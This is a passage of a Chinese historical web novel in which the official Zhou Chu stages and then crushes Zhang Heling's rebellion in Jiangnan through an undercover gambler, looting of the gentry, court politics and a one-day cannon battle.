初六在这些人之中可谓是如鱼得水,有一百多虎贲军暗中保护,初六可以肆无忌惮的靠赌钱大杀四方。 很快,初六就凭借一百多虎贲军以及那逆天的赌术,混到了千夫长的位置。 在这种鱼龙混杂的军队之中,有钱就能通神。 成了千夫长之后,初六很快就进入了张鹤龄的视线。 初六的一言一行,都让张鹤龄觉得他和其他那些恶奴不太一样,再加上这段时间初六没事就跟虎贲军恶补一些战阵的知识,虽然不甚了解,说的也似是而非,但这不重要。 因为张鹤龄两兄弟和他相比,更是完全不懂。 初六将他学的那种四不像的战阵说出来之后,顿时被张鹤龄惊为天人,让张鹤龄以为遇到了属于自己的诸葛孔明,一时之间,居然让他有了一种天命在吾的感觉。 初六并没有化妆,而是用的原本的样貌,他一般很少用原面目示人,对一个老千而言,无论是在赌场还是在其他地方,都会下意识的化妆。 当然,这种化妆也只是简单的化妆,和小刀以及金有财那种几近易容术的化妆手段差了不知道多少。 不过名字却不是初六,而是马洪。 马洪正是当初初六在京城和周楚一起对王财做局的时候的用的身份,此时不过是再拿出来用一下。 “马兄弟真乃大才,我听说马兄弟的对赌术还颇有研究?” 张鹤龄看着初六,满脸兴奋道。 作为纨绔子弟中的代表,张鹤龄两兄弟自然是酷爱赌钱的,以前还因为赌输了玩不起,一把火将赌场烧了。 类似于这种事张鹤龄没少干,张太后活着的时候经常为他们擦屁股。 “略通一二。” 初六谦虚道。 “那太好了,今日马兄弟就陪我们好好玩几把。” 张鹤龄想的很简单,他把初六看成了自己的诸葛孔明,在他看来,和这种人才拉近距离最快的方式无疑是一起玩几局麻将或者牌九。 初六听到这话,自然无有不允。 很快,张鹤龄就叫齐了人,另外两个人都是崇明岛本地帮会的两个帮主,这两位得到他们背后金主的命令,一切听从张鹤龄的指挥,他们帮会中的人马,也都编入了张鹤龄的军队之中。 两人的身份要比初六高一级,在军队里任总兵。 主要是陈经等人将这两人吹成了天上少有地上无双的将才,其实他们算个狗屁将才,不过是陈经这些人为了给足张鹤龄信心,故意这么说的。 但张鹤龄却信了,直接将两人任命为总兵,平日里负责训练一千人,看似和千总差不多,但一旦到了战时,总兵可以直接统领两万兵马。 两人长期在崇明岛混帮会,一听到赌钱,眼睛都亮了,哪里会不答应。 一旦到了牌桌上,那就成了初六的地盘,在初六的千术之下,张鹤龄把把都是好牌,赢的红光满面,初六则是不输不赢,另外两位总兵一个个输的捶胸顿足,很是不甘心,却也不敢说什么。 以他们的道行,还看不出初六出老千,只是以为自己运气不好。 张鹤龄尝到了甜头,接下来的日子,但凡有赌局,都会叫上初六,因为他发现只要有初六在,他基本都能通杀。 这让他愈发相信,初六就是自己的那个命定之人,而自己正被天命眷顾。 “马兄弟,从今日起,本公任命你为总兵,你要好好替本公练兵,本公很看好你,你这种大才注定要随本公征战天下。” 张鹤龄意气风发道。 第141章 初六成为元帅,劫掠江南,烽烟四起 “上位,正所谓兵马未动粮草先行,如今我十几万大军,没有足够的粮草和后勤,根本支撑不了多久。” 这天,初六来到张鹤龄面前进言道。 张鹤龄听到这话,也是一脸忧愁。 “马兄弟可有什么好办法?” “上位,那些士绅们既然鼓动上位造反,那就问他们多要钱财和粮食。” 初六理所当然道。 张鹤龄听到这话,叹了口气。 “马兄弟有所不知,这些人当初大话说的漂亮,如今一提到要钱要粮,就都开始推脱,也不是不给,但给的钱粮也只有这些。” 张鹤龄暗恨道,此时他想起之前陈经等人拍着胸脯的模样,恨不得杀了他们。 如今还没开始造反呢,十几万大军每天的口粮消耗都是极其恐怖的,终究是他把造反这件事想简单了。 “属下倒是有个计划,可以彻底解决粮草一事。” 初六眼看火候差不多了,当即进言道。 张鹤龄听到这话,眼睛顿时亮了。 “马兄弟果然不愧是我的诸葛孔明,有什么计策,速速说来。” “上位如今厉兵秣马,兵强马壮,是时候高举大旗,以清君侧的名义起兵了,到时候属下带领我亲自训练的一两千精兵,将这江南的士绅全都劫掠一遍,到了那个时候,上位还愁钱粮吗?” 初六言之凿凿道。 张鹤龄听到这话,有些犹豫。 “如此不妥吧?那些士绅对本公还算不错,这么做,岂不算背信弃义?” “上位,自古成大事者不拘小节,想要成就一番王图霸业,又岂能妇人之仁?更何况这些士绅对上位真的好吗?他们答应的钱粮为何一直拖着不给?这些士绅为何一个都不在我们的队伍之中?” 初六继续劝说道。 其实根本不用初六说这么多,一句成大事者不拘小节就让张鹤龄瞬间打满了鸡血,他本就不是什么良善之辈,何时在意过道义? “马兄弟说的是,这样,举兵之前,先整饬队伍,本公令你,将我军之中的那些总兵一一诛杀,这些基本都是那些士绅的人,还有那些千总,将这些人诛杀之后,本公会拜马兄弟为三军统帅,统领全军。” 张鹤龄此时俨然有了一股上位者的姿态,虽然这种姿态拿捏的很别扭。 “属下定不负上位所托,将此事办好。” 初六急忙行礼道。 于是接下来,初六以张鹤龄的名义,将军队之中的总兵和千总全都叫过来喝酒,张鹤龄也位列其中。 “诸位兄弟,本公即日就要举事,届时还全赖各位兄弟的帮助,今日宴请各位兄弟,便是举事之前的壮行酒。” 张鹤龄说着举起酒杯一饮而尽。 这些人完全想不到张鹤龄会对他们动手,所以内心根本没有任何防备,再加上这些人原本就不是什么好人,很快,一个个就喝的烂醉如泥,东倒西歪。 眼看着众人都醉了,初六眼中哪里还有半分醉意,直接招呼埋伏好的虎贲军进帐,将这些人尽数斩杀。 次日,张鹤龄以清君侧的名义在崇明县举兵,号称三十万大军,一时之间震惊整个江南,消息以极快的速度迅速辐射向整个大明乃至京城。 举兵的同时,张鹤龄当着十几万大军的面,拜初六为元帅,好在初六化妆的时候粘了些胡子,看上去没那么年轻,倒也没什么人不服。 初六登临元帅之位后,做的第一件事就是将原本的建制彻底打散,比如那些来自崇明岛各个帮派的人员,全都被初六打散到各个队伍之中。 为的就是防止这些人串联起来搞事。 此时的江南百姓贸然得知有人举兵造反,一个个都慌了,周楚当即让各府县的锦衣卫上街巡视,并通告百姓,不必惊慌。 百姓们本身听风就是雨,一旦看到了街道上都是巡逻的锦衣卫和衙役,虽然仍旧紧张,却也不像一开始那样慌乱了。 周楚也展开了紧锣密鼓的安排,他将虎贲军化整为零,分为十几个小队分别前往江南省各府,此时各府的锦衣卫千户早已得到了周楚的命令,入夜之后带领信得过的锦衣卫,乔装之后跟随虎贲军行动。 整个江南省各府的千户,早被周楚筛查了一遍,总体而言基本没什么问题,其中一两个有问题的,被周楚不着痕迹的换掉了。 入夜之后,初六带着一千多兵马开始进入苏州城劫掠,他手中有陈昭提供的苏州城各家士绅的分布图纸,一点多余的路都不走,当晚,整个苏州城被高举着昌国公旗帜的叛军一通洗劫。 至于这其中多少人是初六带着的人,多少是周楚的人,没人知道。 实际上不只是苏州府,这通劫掠直接扩散到了整个江南省各府各县,速度之快,让人瞠目结舌,一部分还没来得及转移家产的士绅们悔的肠子都青了,自己这是造了什么孽,为什么要支持张鹤龄兄弟造反。 如今搬起石头砸自己的脚,很多人恨不得扇自己两巴掌。 这些人想骂娘都找不到人骂,整个江南,家家闭门闭户,生怕被波及,外面全是叛军,这些士绅被抄家的抄家,没被抄家的也都躲在家中,希望能躲过此劫。 这场劫掠整整持续了三天,三天时间,整个江南的士绅基本都被洗劫一空。 当然,大部分士绅都提前转移了大部分钱财和人,但即便如此,也足以让他们肉疼的了。 负责劫掠的这些锦衣卫或许有些小动作,每个人或多或少扣下了些钱财,不过周楚不在乎,毕竟既让马儿跑,就得让马儿吃草,有虎贲军盯着,九成九以上的财物都到了周楚手中。 这些锦衣卫没地方修整,满打满算,身上也藏不了多少钱财。 不过即便如此,整个江南参与此事的锦衣卫,尽皆发了财,他们专门挑值钱的东西往身上藏,每个人都能捞到价值数百贯铜钱的东西,有些运气好的,能捞到价值上千贯的好东西。 他们也清楚,每个人都有一次捞钱的机会,也不会多藏多占,能成为锦衣卫,都是人精,他们明白上面对他们捞钱的行为睁一只眼闭一只眼,自然也该明白适可而止。 一旦有过头的,那些虎贲军可不是吃素的,因为利欲熏心被虎贲军斩杀了十几位锦衣卫,也算是杀鸡儆猴了。 崔文奎早就带上崔文山一家跑路了,躲到了乡下老家去了。 此时的崔文奎兄弟自然也知道了外面发生了什么。 “你怎么猜的这么准?” 崔文山心有余悸道。 原本他还有些心疼那些没来得及转移的财物,此时剩下的只有庆幸。 “这周楚,最擅长的就是利用这些叛军行事,叛军?那张鹤龄要是有这个本事劫掠整个江南,早就造反了,还用得着等到今日?” 崔文奎冷笑道。 第142章 赚的盆满钵满的锦衣卫,杨一清和杨慎的争锋 实际上不只是崔文奎,包括江南商会的会长李贤,以及那些士绅们,大多将钱财和家中的人口大部分都转移了,大部分都是转移到乡下的祖宅处。 至于夏言,早在大半个月之前,就和张璁启程回京城了。 他们只是监察御史,代天巡狩,不可能一直待在江南,时间差不多就该回去述职了。 乡下是相对安全的,周楚的人马劫掠整个江南的城镇已经是极限了,毕竟人力有限,想要将所有乡下都搜寻一遍,根本不可能,也不值当。 这一轮搜刮下来,周楚都不知道搜刮了多少钱财,这些钱财运往码头上,码头上的船根本装不下,即便是码头上的库房,也放不下如此多的钱财。 周楚直接留下了五千万贯当做军费,还给自己象征性的留了两百万两白银,进了周楚自己的腰包。 不多,但必须得留一些,一个人不能太无欲无求,否则皇帝该睡不着了。 之所以没给自己留更多,是因为没必要,周楚的生意赚的钱就够多的了,而且生意上赚的钱别人不知道有多少,不会太扎眼。 倘若留太多,不会是好事,嘉靖还好,不会因为这点钱财清算周楚,但周楚死后呢?或者嘉靖死后,周楚还活着呢? 谁知道下一任皇帝会不会为了钱清算自己。 原本历史上的万历不就是个很好的例子?张居正为他搞了那么多钱,结果张居正死后,万历为了钱财抄了张居正的家,结果只抄出来十万两白银。 充作军费的钱,周楚适当的多截留一些,因为这些钱最终都会花在军队上,并不会进周楚的腰包,倘若周楚自己截留的太多,即便是嘉靖,心中多少也会有些不舒服。 当然,一些名家的书画,周楚自作主张留下了一些。 比如李白的上阳台帖,比如韩愈的祭十二郎文,这些都是可遇不可求的。 原本周楚也没注意到,毕竟抄出来的古玩书画实在是太多了,不过手下的那些锦衣卫知道周楚是唐伯虎的弟子,酷爱书画,纷纷将其中他们看着不一般的书画拿到周楚面前孝敬。 周楚从中选出了一些传世佳品留了下来,当然,也只是很小的一部分,大部分都存放了起来,准备运往京城。 不过这些天整个苏州府乃至整个江南如同停摆了一般,周楚直接让人正大光明的将这些财物通过苏州府的各个码头运往天津,如此一来,运输效率倒是大大加强了。 只是压力却给到了天津那边的码头,如今的天津码头干脆成为了皇家专用码头,其他船只禁止靠岸。 “大人,周大人到底在江南干了什么?” 一个锦衣卫百户看着眼前堆积如山的箱子,目瞪口呆,其他人不知道,他可是清楚的,这些箱子里面不是别的,全都是真金白银。 “咋了?活腻歪了?” 陆万山眯着眼睛看着这个百户道,眼神之中闪烁着危险的光芒。 百户听到这话,瞬间反应过来,打了个寒颤。 “大人,小人不知好歹了。” 他说完这话,生怕被陆万山惦记,急忙装作很忙的样子,去帮码头的工人抬箱子。 此时的锦衣卫们,一个个都充满了斗志,这段时间,他们可谓是赚的盆满钵满,每运送一趟,他们每个人都有一笔不菲的收入。 此时的京城,嘉靖正在紧急召开朝会。 “诸位,我大明对昌国公和建昌侯够好了吧?何曾亏待过他们,如今他们居然举兵谋反,还号称三十万大军。” 朝会之上,嘉靖痛心疾首道。 对于嘉靖的表演,满朝文武表现不一,那些不明真相的官员一个个也都义愤填膺,不管心里怎么想的,嘴上都在痛斥张鹤龄兄弟二人。 “陛下,臣以为张氏两兄弟根本就是乱臣贼子,狼子野心,朝廷对他们再好,也没用,这种人就是喂不熟的狼。” “是啊陛下,这等乱臣贼子,人人得而诛之。” 。。。。。。。。。 和这些义愤填膺的臣子不同,杨一清反倒是老神在在的在那里闭目养神。 张氏两兄弟为何造反,他虽然不能看清所有细节,但大致也猜的差不多了,无非是被那些江南士绅们蛊惑,好巧不巧,张太后又落水而亡,如果说这事不是皇帝刻意为之,杨一清是不信的。 造成眼前的这种局面,无疑说明了一个问题,在江南,朝廷和那些江南的士绅富商之间的矛盾已经到了必须爆发的点了。 在皇帝看来,大明身上长了脓疮,到了发的时候,必须得把它挤出来,否则后患无穷。 故此才有了张太后的死,张太后一死,张氏这两兄弟不反也得反了。 想明白这些,杨一清自然不会愣头愣脑的说些不着边际的话,直接在朝会上闭目养神了。 不过他想趁机摸鱼,嘉靖却不给他这个机会,在嘉靖看来,杨一清已经年近七十了,没事多熬一熬他,也能让他快点致仕。 “石淙,你怎么看?” 嘉靖看着杨一清道。 现如今的内阁,杨一清和杨慎都姓杨,嘉靖如果叫杨阁老,两人根本不知道叫的是谁,所以从几个月之前,嘉靖就开始称呼杨一清的字号了。 杨一清听到这话,顿时明白了皇帝的心思,这是存心折腾自己呢,顿时有些无奈。 “陛下,老臣以为,这所谓的三十万大军水分极大,撑破了天也不过十万人左右,而且都是乌合之众,张氏兄弟别说领十万兵马了,给他们一万兵马他们都指挥不了,所谓叛军,不过土鸡瓦犬而。” 杨一清不疾不徐道。 “那石淙以为,谁适合领兵平叛?” 嘉靖继续追问道。 “臣以为,最合适的莫过于江南巡抚崔文奎,毕竟他在江南出任巡抚多年,对江南的地形,以及各方面的了解都不是他人所能及的,倘若陛下将江南省的兵权交还给他,所谓叛军,不值一提。” 杨一清自然不会顺着嘉靖的话去说,在他心里,还是希望江南那些人能闹的大一些,如此一来,对他而言也是有好处的。 倘若江南那些人熄火了,回过头来,皇帝和周楚这些人就会来收拾自己了。 对于这一点,杨一清的认知无比清晰,江南越乱,他的位置越稳。 现在的杨一清已经不妄想操纵皇帝了,毕竟无论是皇宫还是太医院之中,都是皇帝的人,如今对杨一清而言,能够自保,稳住自己内阁首辅的位置就不错了。 “陛下,臣以为首辅大人此言不妥。” 杨一清刚说完,杨慎就站了出来。 “哦?文宪,那你说说看,有何不妥?” 嘉靖笑道。 “这崔文奎在江南这么多年,无甚作为,反倒是倭寇匪患频出,由此可见,崔文奎对江南的情况了解并不深,臣倒是觉得由王伯安王大人领兵平叛再合适不过,之前宁王叛乱,就是王大人荡平的叛乱,王大人的领兵能力是毋庸置疑的。” 杨慎说道。 嘉靖听到这话,叹了口气。 “王阳明固然是最好的人选,但昨日朕刚刚收到他的密奏,他父亲刚刚离世,他向朕请辞,即便此时强留他领兵,恐怕他现在也领不了兵了。” “陛下,臣倒是有个合适的人选。” 韩玠出列道。 “臣以为周衡器周大人,正适合领兵平叛。” 嘉靖听到这话,眼睛顿时亮了,他等的就是这句话。 第143章 嘉靖的熬鹰战术,张璁的任命,整军待发的周楚 “不妥吧?周衡器没有任何统兵经验,此事非同寻常,依臣看来,还是另寻他人吧。” 杨一清一听周楚的名字,顿时来了精神,开口反驳道。 虽然杨一清清楚之前周楚在江南搞了不少事,比如灭倭寇,比如灭那几千人的叛乱,但这事说到底是不能拿到台面上来说的。 说破了天,周楚在明面上也是没有任何统兵经验的一个锦衣卫百户,让这样的人去领兵平叛,似乎怎么都说不过去。 “下官记得首辅大人上次这话还是用来说陆文孚陆大人的,如今再看呢?陆大人出征安南,顷刻之间收复安南,为我大明立下不世功勋。” 杨慎阴阳怪气道。 “更何况方才首辅大人不是说,张氏兄弟不过土鸡瓦犬吗?” 这话一出,杨一清顿时被怼的不知道该如何反驳了。 实际上之前前线传回战报,说黎朝大王黎椿在我大明天威之下,举国归附大明的时候,杨一清也懵了,他完全搞不明白安南到底发生了什么?怎么会这么快就归附大明呢? 在杨一清想来,即便陆炳会带兵,会打仗,和安南再怎么也要打上个一年半载的吧? 真要到了那个地步,他杨一清就可以联合百官上疏,让皇帝撤兵,不要穷兵黩武,空耗民财。 然而事情的结果却让他大为意外,以至于原本准备好的说辞,一句都没说出口。 “阁老此言差矣,陆大人有领兵之才,不代表周百户也有,两个同样都没有过领兵经验的年轻人,都会打仗,这种可能太小了吧?” 眼看杨一清沉默了,兵部之中一个官员站了出来反驳道。 接下来朝会的主要议题,就成了周楚适不适合当这个统帅。 双方你来我往,唾沫横飞,嘉靖稳坐龙椅之上看热闹,恨不得让一旁的黄锦给自己拿点瓜子过来。 “石淙,你觉得文宪说的有道理吗?” 每次杨一清感觉疲惫,想要闭目养神的时候,嘉靖总会适时的提醒他。 这让杨一清极其无奈,他这个年纪,起这么早上早朝,按理说这个时候应该早就下朝了,偏偏皇帝似乎一点都不着急。 一场朝会硬是熬到了日上三竿,文武百官全都口干舌燥,有的甚至有些憋不住尿了,嘉靖这才大手一挥。 “就这么定了,着周衡器统领江南兵马平叛。” 嘉靖这话一出,很多官员虽然心有不服,却也不想继续争辩了,他们一个个是又饿又渴,凌晨就起来上朝,这都熬了多久了,熬鹰也没有这么熬的。 杨一清要不是靠着口中含着的一片野山参吊着,恐怕未必能坚持住。 即便如此,杨一清也感觉有些头晕眼花,听到皇帝终于下决定了,杨一清也是松了口气。 正当百官以为就此退朝的时候,嘉靖却没准备这么轻易放过他们。 “王阳明跟朕请辞,本是为尽孝,朕也不好强留,诸位以为,谁接任这南直隶巡抚比较合适?” 嘉靖这话一出,百官傻眼了,原本都准备好下朝的杨一清顿觉两眼一黑。 但偏偏这事还真不能让,毕竟南直隶的巡抚关系重大,而且王阳明正在南直隶实行所谓的考成法,一旦此法在南直隶全面实行,将来肯定会蔓延到整个大明。 当官的谁也不想让这件事真正的实施,大家一起混一混,捞一捞钱,还有比这更好的日子吗?非要搞什么考成法?这不是往他们头上加一道紧箍吗? 于是一众官员纷纷开始推举自己认为合适的人选。 就连杨一清都强撑着精神,举荐了自己认为合适的人选。 “陛下,臣保举一人,出任南直隶巡抚再合适不过。” 杨慎出列道。 。。。。。。 最终,杨一清等人实在是熬不住了,虽然杨慎保举张璁出任南直隶这件事很离谱,毕竟张璁才入仕没两年时间,承蒙皇帝擢拔,已经一步登天成为了三品侍郎,现在杨慎居然还保举他成为南直隶巡抚? 青云直上都不足以形容张璁的仕途历程了。 即便如此离谱,杨一清等人实在是熬不过嘉靖了,毕竟嘉靖都不到二十,别说熬一上午了,再熬一下午,对他而言都不是什么大事,但他们不行,杨一清觉得这场朝会真的要了自己半条命。 至于谁出任南直隶巡抚,随他去吧,本来他们也只有举荐的资格,最终决定权还是在皇帝手中。 原本杨一清他们在朝中也没有占据绝对的优势,和杨慎为首的这些官员互相之间占不到太大的优势。 所以无论皇帝采信哪一边的谏言,都说得过去。 即便张璁这事,真的很离谱。 正在回京路上的张璁接到朝廷的任命文书的时候,整个人都懵了,旋即陷入了狂喜之中。 果然,自己这段时间跟紧周大人的步伐一点都没错,甚至可以说是最正确的决定。 张璁很清楚,南直隶巡抚这个职务的任命很关键,毕竟南直隶作为两京之一,在整个大明的地位都举足轻重,更何况南直隶如今还在推行考成法。 之前在唐府的宴会上,张璁可是听王阳明和周楚两人详细讨论过这件事,张璁很清楚,考成法的推行,背后本就有周大人的身影。 对于自己能成为南直隶的巡抚,张璁坚信是周楚举荐了自己。 一旁的夏言看到张璁短短时间内实现了三级跳,甚至隐隐超过了自己,顿时傻眼了,他怎么都没想到,这个原本在礼部不怎么起眼的张璁,居然能如此青云直上。 苏州府,周楚也很快接到了朝廷的任命,任命周楚为整个江南省兵马大元帅,负责平叛。 朝廷的任命一到,周楚当即提笔写了一篇讨贼檄文,洋洋洒洒几百上千字,都是在痛斥张鹤龄兄弟二人如何忘恩负义,如何对不起朝廷,对不起皇帝。 后面还着重列举了张氏兄弟的罪状,重点写的是张氏兄弟劫掠整个江南。 这篇讨贼檄文一出,百姓们群情激奋,不过很多百姓也感到很奇怪,为何闹的最凶的那几日,他们却一点事都没有,出事的基本上都是那些豪绅员外的府邸。 张鹤龄看到这篇讨贼檄文的时候,有些傻了,之前初六带着人马去苏州城劫掠,确实为他们抢来了足够多的钱财,但要说劫掠整个江南? 靠之前马兄弟带出去的一千多人吗? “马兄弟,为何他们说我们劫掠了整个江南?” 张鹤龄不解道。 他倒是没有怀疑初六,在他看来,自己这个三军统帅要是有能力带着一千多人抢了整个江南,又何必在这里和自己虚与委蛇呢? “上位有所不知,当时很多百姓趁火打劫,趁乱劫掠,都是打着我们的旗号。” 初六早就准备好了说辞。 张鹤龄听到这话,恍然大悟,这么一说就全都说通了。 “既然朝廷如此待我,那我等明日便发兵苏州城,打下苏州城让给皇帝一点颜色看看。” 张鹤龄满脸愤慨道。 苏州城内,周楚在城墙上布置了近百门子母连环炮,除了子母连环炮之外,军营内的那些红衣大炮也都被拉来了。 既然要打,那就好好打出声势,周楚虽然可以让初六等人迅速斩首,但那样无异于雷声大雨点小,对这些江南的士绅造不成足够的威慑。 这一战,周楚要完完全全的打出朝廷的威势,打出大明的威势! 第144章 轰杀叛军,子母炮的火力覆盖,一日平叛的周楚 正所谓大炮一响,黄金万两。 打仗从来都是很耗钱的,不过周楚并不担忧,这些钱,江南士绅早就出过了,而且周楚很清楚,对付这些乌合之众,打不了多久。 之所以要打,就是要用这一仗好好威慑一下江南的这些豪绅和商人,让这些人在江南好好收敛一下。 士绅阶层是消灭不完的,只能削弱加威慑。 朝廷硬一分,他们便软一分,朝廷软一分,他们便硬三分。 很快,张鹤龄兄弟便带着十几万大军兵临苏州城下,周楚站在城头,放眼望去,下面乌泱泱全是人,看不到头。 对周楚而言,对方人员越是密集越好,如此一来火炮的收益才能达到最大。 之所以要好好打这一仗,也是要把这十几万大军彻底消灭,这些人可都是那些士绅的豪奴和私兵,不消灭将来也都是不稳定因素。 初六则躲在军阵最后方,一百多虎贲军都在初六周围,旁边的战车上则是张鹤龄两兄弟。 实在是因为这俩马术实在一般,在战场上这俩根本不敢骑马,初六便让人给他们造了一辆很大的战车,这让张鹤龄愈发器重初六,觉得自己这个三军统帅真是处处为自己着想。 初六很清楚,冲在前面的会迎接炮火洗礼,他是来卧底的,不是来送死的,干脆在战阵最后面,用旗语指挥大军冲杀。 这些简单的旗语,还是虎贲军教给他的。 “兄弟们,杀,拿下苏州城,兄弟们吃香的喝辣的。” 张鹤龄拔出佩剑,大喊道。 随着张鹤龄命令一出,旁边的进攻号角直接吹响,初六手中的战旗不断挥舞,指挥大军开始冲杀。 说实话,以初六这种水准,能指挥十几万大军完成冲杀而不使他们互相踩踏已经殊为不易了,更不用提什么阵型,什么军阵整齐了。 十几万大军毫无阵型可言,全都冲向了苏州城。 “开炮。” 周楚挥动手中的战旗,下了开炮的命令。 命令一下,炮手纷纷点燃引线,几秒钟之后,一百多门子母炮,加上原本军营之中就有的红衣大炮,仅仅一轮齐射,整个苏州城外就血流满地,叛军被轰杀了数千人。 第一轮齐射的效果往往是最好的,因为叛军是最密集最不设防的状态。 这一轮齐射下来,整个叛军的冲锋势头为之一滞,这些人哪里打过仗,心里想的都挺好,杀进苏州城想抢谁抢谁,吃香的喝辣的。 但真正看到自己人被大炮轰杀,鲜血四溅,满地尸体的时候,一个个都吓的腿肚子转筋了,哪里还敢继续冲锋? 谁都知道枪打出头鸟的道理,冲在前面的肯定会被第一个轰杀。 就连躲在最后面的张鹤龄兄弟,此时也吓得脸色苍白,此时他们才发现,真正的战场和他们想的完全不一样,面对苏州城那一个个黑洞洞的炮口,张鹤龄实在是想不出该如何破城。 初六却不管这些,继续挥动战旗,示意大军冲杀,同时责令督战队看紧这些人,但凡有临阵逃脱的,就地斩杀。 为了防止这些人溃散的太快,单单督战队,初六就搞了一两万人。 红衣大炮经过一轮齐射之后,炮管需要一定时间的冷却,但子母炮不一样,换上子炮之后,很快就开始了第二轮的齐射。 再加上叛军的怯战,冲锋速度明显减缓,如此一来,子母炮轰杀的次数便更多了。 直到叛军快冲杀到城墙之下的时候,子母炮已经完成了五六轮齐射,轰杀了近万叛军。 接近一成的战损,像叛军这种乌合之众如果不是有这么多的督战队在后方虎视眈眈,恐怕早就溃散了。 眼看叛军都进入了燧发枪的有效射程之内,周楚下令所有虎贲军开始射击。 人手一把燧发枪的虎贲军当即放开了手开始射杀叛军,林廌此时显得无比兴奋,之前无论是剿灭井上三郎那些人亦或是那天晚上击杀那四五千乌合之众,对虎贲军和林廌而言不过是小试牛刀。 现在这种大场面,才是他幻想之中的战场。 如今的林廌,无论是身手还是枪法,在整个虎贲军之中都算得上最顶尖的那一批。 经过一轮轮射击,无数叛军被射杀在苏州城下,此时的苏州城下面尸体堆积如山。 随着战损比的进一步扩大,叛军伤亡高达两三万人的时候,即便有督战队,叛军还是不受控制的溃散了。 即便是后方的督战队,此时心里也都在打鼓,他们可不认为大军真的能拿下苏州城。 到目前为止,他们伤亡如此惨重,但苏州城上的士兵他们甚至一个都没摸到。 叛军没有羽箭,任何朝代,羽箭的管控都是极其严格的,所以哪怕想要远程射杀苏州城上的将士都做不到。 这也是历朝历代,所有藩王都很难造反成功的根本原因,之前的宁王叛乱,之所以失败的如此彻底,归根结底不过是一群乌合之众。 朱棣之所以能够靖难成功,还是因为偷偷在地下打造盔甲和羽箭,否则也没有希望。 张鹤龄两兄弟仓促造反,哪里有这些东西。 “全军冲杀。” 周楚眼看着叛军溃散,直接下令打开城门,全军冲杀追击。 城门一开,首先冲出去的便是近两千虎贲军,此时的虎贲军为了机动性,全都着轻甲,骑着马便有条不紊的冲杀了出去。 所有的虎贲军都有两套战甲,一套重甲,一套轻甲。 根据不同的需求着不同的战甲,比如之前的巷战,适合重甲,现在追击,自然是轻甲合适。 紧跟着虎贲军冲杀出去的是江南省的大军,这部分军队虽然机动性和虎贲军相比差的不是一星半点,但胜在人多,用来追击溃散的叛军最合适不过。 毕竟叛军太多了,一旦溃逃,跑的到处都是。 虎贲军划分为近百个小队,分别向不同方向追击而去,每个小队虽然只有二十人,但面对溃逃的叛军,如同虎入羊群,在战马上面一个个挥动马朔,如同割草一般,所到之处,叛军毫无抵抗之力。 就连沈炼和林鹿都跟着下去冲杀了,以沈炼的身形,冲入人群之中,如同一只人形暴熊,所到之处,无一合之敌。 此时的张鹤龄兄弟两人驾着战车,跑的比谁都快,甚至有些慌不择路。 眼看着初六带领虎贲军追了上来,张鹤龄两兄弟顿时面露喜色。 “马兄弟果然忠心,赶紧护卫我们撤离。” 他这话还没说完,原本骑着马的虎贲军一个个抓住了战车,翻身上了战车。 随后在两兄弟满脸不可置信的目光之中,虎贲军完成了斩首行动。 张鹤龄两兄弟必须得死,不能活捉,不然事后就对不上账了。 虽然很多人都心知肚明是怎么回事,但明面上还是要过得去的。 至此,闹的轰轰烈烈的昌国公叛乱,仅仅一日不到,便被周楚率大军彻底荡平。 那些士绅们得到消息之后,一个个都惊的差点跳起来,他们实在是不信周楚能有这种实力,直到他们的人来到苏州城下,看着战场上那还没打扫完的,那些堆积如山的尸体。 所有人都陷入了沉默,感到脊背发寒。 第145章 目瞪口呆的崔文奎,兴奋的嘉靖,不知所谓的皇后 崔文奎作为江南省的巡抚,得到叛军已经全部伏诛的消息之后自然得第一时间赶到现场。 当他看到苏州城外那些叛军的尸体以及那些被火炮轰击出来的土坑之后,即便是见多识广,也忍不住倒吸了一口凉气。 “周大人,我方将士损伤如何?” 崔文奎声音略带颤抖道。 “损伤?倒是有些,我方将士在追击叛军的时候,有十几个因为跑的太快摔倒了,受了点轻伤。” 周楚满脸严肃道。 崔文奎听到这话,愈发绷不住了。 “周大人的意思是,我方将士一个阵亡的都没有?” 崔文奎不可置信道。 “崔大人倒是提醒本官了,回头上报的时候,报几十个阵亡名额吧,不然显得不太好。” 周楚一边说着,一边示意身后的文书官做好记录。 崔文奎走了,他觉得自己再在周楚身边待下去,没被他弄死,先被他气死了。 这场叛乱起于声势浩大,号称三十万大军,灭的也轰轰烈烈。 所有人都猜到了开头,却没猜到会是这么一个结果。 一时之间,整个江南的士绅和富商全都龟缩在家中,甚至很多都躲在了乡下祖宅里去了,生怕被周楚注意到。 自此,整个江南短时间内成了周楚的后花园,周楚想做什么,再无阻力。 很快,苏州城外被打扫干净,那些叛军的尸体全部用生石灰覆盖之后再掩埋,为的就是防止爆发瘟疫。 毕竟天眼看着就要热起来了。 苏州府的天气要么是湿热,要么是湿冷,总之基本没有干燥的时候。 整个苏州城的百姓原本都在担惊受怕,生怕叛军攻入苏州城,那样的话恐怕就生灵涂炭了,当百姓知道叛军已经被剿灭之后,反应和崔文奎等人如出一辙,谁都想不到声势如此浩大的叛军,居然这么快就被灭了。 一时之间,苏州城内的百姓纷纷上街庆祝。 当百姓得知平叛的不是别人,正是周楚的时候,一个个纷纷对周楚歌功颂德,他们可是记得很清楚,之前那些官老爷和豪绅欺压他们的时候,正是周大人替他们出的头。 有此一战,锦衣卫在苏州府丈量土地再无任何阻碍,甚至周楚还顺势将清丈土地的范围扩大到整个江南省,也无人敢提出异议。 这便是周楚大张旗鼓打这场仗的根本原因所在。 当然,这一战只是热身,周楚的目的不在这里,而是草原上的另一个妖孽少年。 俺答汗。 正是此人在嘉靖二十九年左右造成了庚戌之变,让大明蒙受了难以想象的损失。 此时的俺答才十四岁,虽然还不是蒙古人的大汗,却也自己统领了一个不小的部落,按照周楚所了解的历史,俺答所率领的部队,明年就会进攻大同,大同的将领杭熊毫无抵抗之力。 俺答的人马从大同进入大明,掠夺了整个河套地区。 虽然不清楚将来的走向会不会和自己了解的历史一样,但周楚却不得不防。 此时俺答的部落应该驻扎在大青山麓的丰州滩地区,也就是后世的呼和浩特附近,不过周楚很清楚,自己了解的未必准确,还需要做进一步确认。 至于如何确认俺答部落的位置?很简单,解铃还须系铃人。 俺答的部落之所以能有足够的铁器,以及箭矢,想来和山西那边的一些商人已经勾搭上了。 周楚在几个月之前,就去了一封信,让山西那边的锦衣卫着重调查此事,倒也不用全部查出来,只要查出来其中少数商人,那就够了。 虽说山西那边天高皇帝远,但对于周楚这个顶头上司的命令,那边的锦衣卫千户还不敢直接忤逆。 虽说查的不是那么尽心尽力,但山西各府的锦衣卫都查到了那么一些和蒙古人交易的商人。 有了这些人,想找到俺答的部落那就简单多了。 